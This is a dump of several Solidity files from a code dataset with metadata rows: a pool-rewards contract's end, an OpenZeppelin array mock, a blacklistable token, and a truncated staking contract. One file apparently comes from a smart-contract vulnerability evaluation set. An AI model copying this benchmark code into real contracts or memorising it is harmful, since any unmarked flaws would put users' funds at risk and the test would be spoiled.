// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accSPlatPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeSPlatTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accSPlatPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accSPlatPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeSPlatTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accSPlatPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
function safeSPlatTransfer(address _to, uint256 _amount) internal {
uint256 _sboozeBal = sbooze.balanceOf(address(this));
if (_sboozeBal > 0) {
if (_amount > _sboozeBal) {
sbooze.safeTransfer(_to, _sboozeBal);
} else {
sbooze.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
if (block.timestamp < poolEndTime + 90 days) {
// do not allow to drain core token (sPLAT or lps) if less than 90 days after pool ends
require(_token != sbooze, "sbooze");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 310,017 | 10,652 |
84ea822d142019712d77f67423f1718685470ed1f670221c0f7f6ddc7fea5cd9
| 24,911 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
openzeppelin-contracts-upgradeable/mocks/ArraysImplUpgradeable_flat.sol
| 3,200 | 12,623 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// OpenZeppelin Contracts v4.4.1 (utils/Arrays.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/math/Math.sol)
library MathUpgradeable {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator) internal pure returns (uint256 result) {
unchecked {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
return prod0 / denominator;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// See https://cs.stackexchange.com/q/138556/92363.
// Does not overflow because the denominator cannot be zero at this stage in the function.
uint256 twos = denominator & (~denominator + 1);
assembly {
// Divide denominator by twos.
denominator := div(denominator, twos)
// Divide [prod1 prod0] by twos.
prod0 := div(prod0, twos)
// Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
twos := add(div(sub(0, twos), twos), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * twos;
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// is no longer required.
result = prod0 * inverse;
return result;
}
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator,
Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
// `msb(a) <= a < 2*msb(a)`.
// We also know that `k`, the position of the most significant bit, is such that `msb(a) = 2**k`.
// This gives `2**k < a <= 2**(k+1)` `2**(k/2) <= sqrt(a) < 2 ** (k/2+1)`.
// good first approximation of `sqrt(a)` with at least 1 correct bit.
uint256 result = 1;
uint256 x = a;
if (x >> 128 > 0) {
x >>= 128;
result <<= 64;
}
if (x >> 64 > 0) {
x >>= 64;
result <<= 32;
}
if (x >> 32 > 0) {
x >>= 32;
result <<= 16;
}
if (x >> 16 > 0) {
x >>= 16;
result <<= 8;
}
if (x >> 8 > 0) {
x >>= 8;
result <<= 4;
}
if (x >> 4 > 0) {
x >>= 4;
result <<= 2;
}
if (x >> 2 > 0) {
result <<= 1;
}
// into the expected uint128 result.
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
uint256 result = sqrt(a);
if (rounding == Rounding.Up && result * result < a) {
result += 1;
}
return result;
}
}
library ArraysUpgradeable {
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = MathUpgradeable.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
contract ArraysImplUpgradeable is Initializable {
using ArraysUpgradeable for uint256[];
uint256[] private _array;
function __ArraysImpl_init(uint256[] memory array) internal onlyInitializing {
__ArraysImpl_init_unchained(array);
}
function __ArraysImpl_init_unchained(uint256[] memory array) internal onlyInitializing {
_array = array;
}
function findUpperBound(uint256 element) external view returns (uint256) {
return _array.findUpperBound(element);
}
uint256[49] private __gap;
}
| 63,121 | 10,653 |
9ac309582aa39c1a1ac8bbd5d0106d483b18f2cffbd7f52532d483a9d9c5c207
| 17,992 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x0f72714b35a366285df85886a2ee174601292a17.sol
| 3,400 | 12,242 |
pragma solidity ^0.4.25;
// File: contracts/openzeppelin/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/openzeppelin/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: contracts/openzeppelin/math/SafeMath.sol
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(_b > 0);
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
require(c >= _a);
return c;
}
}
// File: contracts/Ownable.sol
contract Ownable {
// Owner of the contract
address private _owner;
event OwnershipTransferred(address previousOwner, address newOwner);
constructor() public {
setOwner(msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
function setOwner(address newOwner) internal {
_owner = newOwner;
}
modifier onlyOwner() {
require(msg.sender == owner());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
setOwner(newOwner);
}
}
// File: contracts/Blacklistable.sol
contract Blacklistable is Ownable {
address public blacklister;
mapping(address => bool) internal blacklisted;
event Blacklisted(address indexed _account);
event UnBlacklisted(address indexed _account);
event BlacklisterChanged(address indexed newBlacklister);
modifier onlyBlacklister() {
require(msg.sender == blacklister);
_;
}
modifier notBlacklisted(address _account) {
require(blacklisted[_account] == false);
_;
}
function isBlacklisted(address _account) public view returns (bool) {
return blacklisted[_account];
}
function blacklist(address _account) public onlyBlacklister {
blacklisted[_account] = true;
emit Blacklisted(_account);
}
function unBlacklist(address _account) public onlyBlacklister {
blacklisted[_account] = false;
emit UnBlacklisted(_account);
}
function updateBlacklister(address _newBlacklister) public onlyOwner {
require(_newBlacklister != address(0));
blacklister = _newBlacklister;
emit BlacklisterChanged(blacklister);
}
}
// File: contracts/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
event PauserChanged(address indexed newAddress);
address public pauser;
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier onlyPauser() {
require(msg.sender == pauser);
_;
}
function pause() public onlyPauser {
paused = true;
emit Pause();
}
function unpause() public onlyPauser {
paused = false;
emit Unpause();
}
function updatePauser(address _newPauser) public onlyOwner {
require(_newPauser != address(0));
pauser = _newPauser;
emit PauserChanged(pauser);
}
}
// File: contracts/sheets/DelegateContract.sol
contract DelegateContract is Ownable {
address delegate_;
event LogicContractChanged(address indexed newAddress);
modifier onlyFromAccept() {
require(msg.sender == delegate_);
_;
}
function setLogicContractAddress(address _addr) public onlyOwner {
delegate_ = _addr;
emit LogicContractChanged(_addr);
}
function isDelegate(address _addr) public view returns(bool) {
return _addr == delegate_;
}
}
// File: contracts/sheets/AllowanceSheet.sol
// A wrapper around the allowanceOf mapping.
contract AllowanceSheet is DelegateContract {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public allowanceOf;
function subAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyFromAccept {
allowanceOf[_tokenHolder][_spender] = allowanceOf[_tokenHolder][_spender].sub(_value);
}
function setAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyFromAccept {
allowanceOf[_tokenHolder][_spender] = _value;
}
}
// File: contracts/sheets/BalanceSheet.sol
// A wrapper around the balanceOf mapping.
contract BalanceSheet is DelegateContract, AllowanceSheet {
using SafeMath for uint256;
uint256 internal totalSupply_ = 0;
mapping (address => uint256) public balanceOf;
function addBalance(address _addr, uint256 _value) public onlyFromAccept {
balanceOf[_addr] = balanceOf[_addr].add(_value);
}
function subBalance(address _addr, uint256 _value) public onlyFromAccept {
balanceOf[_addr] = balanceOf[_addr].sub(_value);
}
function increaseSupply(uint256 _amount) public onlyFromAccept {
totalSupply_ = totalSupply_.add(_amount);
}
function decreaseSupply(uint256 _amount) public onlyFromAccept {
totalSupply_ = totalSupply_.sub(_amount);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
}
// File: contracts\MarsTokenV1.sol
contract MarsTokenV1 is Ownable, ERC20, Pausable, Blacklistable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
string public currency;
address public masterMinter;
//mapping(address => uint256) internal balances;
//mapping(address => mapping(address => uint256)) internal allowed;
//uint256 internal totalSupply_ = 0;
mapping(address => bool) internal minters;
mapping(address => uint256) internal minterAllowed;
event Mint(address indexed minter, address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 amount);
event MinterConfigured(address indexed minter, uint256 minterAllowedAmount);
event MinterRemoved(address indexed oldMinter);
event MasterMinterChanged(address indexed newMasterMinter);
event DestroyedBlackFunds(address indexed _account, uint256 _balance);
BalanceSheet public balances;
event BalanceSheetSet(address indexed sheet);
function setBalanceSheet(address _sheet) public onlyOwner returns (bool) {
balances = BalanceSheet(_sheet);
emit BalanceSheetSet(_sheet);
return true;
}
constructor(string _name,
string _symbol,
string _currency,
uint8 _decimals,
address _masterMinter,
address _pauser,
address _blacklister) public {
require(_masterMinter != address(0));
require(_pauser != address(0));
require(_blacklister != address(0));
name = _name;
symbol = _symbol;
currency = _currency;
decimals = _decimals;
masterMinter = _masterMinter;
pauser = _pauser;
blacklister = _blacklister;
setOwner(msg.sender);
}
modifier onlyMinters() {
require(minters[msg.sender] == true);
_;
}
function mint(address _to, uint256 _amount) public whenNotPaused onlyMinters notBlacklisted(msg.sender) notBlacklisted(_to) returns (bool) {
require(_to != address(0));
require(_amount > 0);
uint256 mintingAllowedAmount = minterAllowed[msg.sender];
require(_amount <= mintingAllowedAmount);
//totalSupply_ = totalSupply_.add(_amount);
balances.increaseSupply(_amount);
//balances[_to] = balances[_to].add(_amount);
balances.addBalance(_to, _amount);
minterAllowed[msg.sender] = mintingAllowedAmount.sub(_amount);
emit Mint(msg.sender, _to, _amount);
emit Transfer(0x0, _to, _amount);
return true;
}
modifier onlyMasterMinter() {
require(msg.sender == masterMinter);
_;
}
function minterAllowance(address minter) public view returns (uint256) {
return minterAllowed[minter];
}
function isMinter(address account) public view returns (bool) {
return minters[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
//return allowed[owner][spender];
return balances.allowanceOf(owner,spender);
}
function totalSupply() public view returns (uint256) {
return balances.totalSupply();
}
function balanceOf(address account) public view returns (uint256) {
//return balances[account];
return balances.balanceOf(account);
}
function approve(address _spender, uint256 _value) public whenNotPaused notBlacklisted(msg.sender) notBlacklisted(_spender) returns (bool) {
require(_spender != address(0));
//allowed[msg.sender][_spender] = _value;
balances.setAllowance(msg.sender, _spender, _value);
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notBlacklisted(_to) notBlacklisted(msg.sender) notBlacklisted(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances.balanceOf(_from));
require(_value <= balances.allowanceOf(_from, msg.sender));
//allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances.subAllowance(_from, msg.sender, _value);
//balances[_from] = balances[_from].sub(_value);
balances.subBalance(_from, _value);
//balances[_to] = balances[_to].add(_value);
balances.addBalance(_to, _value);
emit Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public whenNotPaused notBlacklisted(msg.sender) notBlacklisted(_to) returns (bool) {
require(_to != address(0));
require(_value <= balances.balanceOf(msg.sender));
//balances[msg.sender] = balances[msg.sender].sub(_value);
balances.subBalance(msg.sender, _value);
//balances[_to] = balances[_to].add(_value);
balances.addBalance(_to, _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function configureMinter(address minter, uint256 minterAllowedAmount) public whenNotPaused onlyMasterMinter notBlacklisted(minter) returns (bool) {
minters[minter] = true;
minterAllowed[minter] = minterAllowedAmount;
emit MinterConfigured(minter, minterAllowedAmount);
return true;
}
function removeMinter(address minter) public onlyMasterMinter returns (bool) {
minters[minter] = false;
minterAllowed[minter] = 0;
emit MinterRemoved(minter);
return true;
}
function burn(uint256 _amount) public whenNotPaused onlyMinters notBlacklisted(msg.sender) {
uint256 balance = balances.balanceOf(msg.sender);
require(_amount > 0);
require(balance >= _amount);
//totalSupply_ = totalSupply_.sub(_amount);
balances.decreaseSupply(_amount);
//balances[msg.sender] = balance.sub(_amount);
balances.subBalance(msg.sender, _amount);
emit Burn(msg.sender, _amount);
emit Transfer(msg.sender, address(0), _amount);
}
function updateMasterMinter(address _newMasterMinter) public onlyOwner {
require(_newMasterMinter != address(0));
masterMinter = _newMasterMinter;
emit MasterMinterChanged(masterMinter);
}
function destroyBlackFunds(address _account) public onlyOwner {
require(blacklisted[_account]);
uint256 _balance = balances.balanceOf(_account);
balances.subBalance(_account, _balance);
balances.decreaseSupply(_balance);
emit DestroyedBlackFunds(_account, _balance);
emit Transfer(_account, address(0), _balance);
}
}
| 218,113 | 10,654 |
2b6ead80e94943bc91326c0c0aa7bbc382118584de212d7dc5e96ac93fdb8035
| 27,689 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/82/8231AE49390638f5f37c42847227A739d2E63Faa_StakingV1.sol
| 4,255 | 16,895 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + (a % b)); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns (string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = "0";
_addr[1] = "x";
for (uint256 i = 0; i < 20; i++) {
_addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
"SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsOHM {
function rebase(uint256 ohmProfit_, uint256 epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint256 amount) external view returns (uint256);
function balanceForGons(uint256 gons) external view returns (uint256);
function index() external view returns (uint256);
}
interface IWarmup {
function retrieve(address staker_, uint256 amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract StakingV1 is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable sOHM;
struct Epoch {
uint256 length;
uint256 number;
uint256 endBlock;
uint256 distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint256 public totalBonus;
address public warmupContract;
uint256 public warmupPeriod;
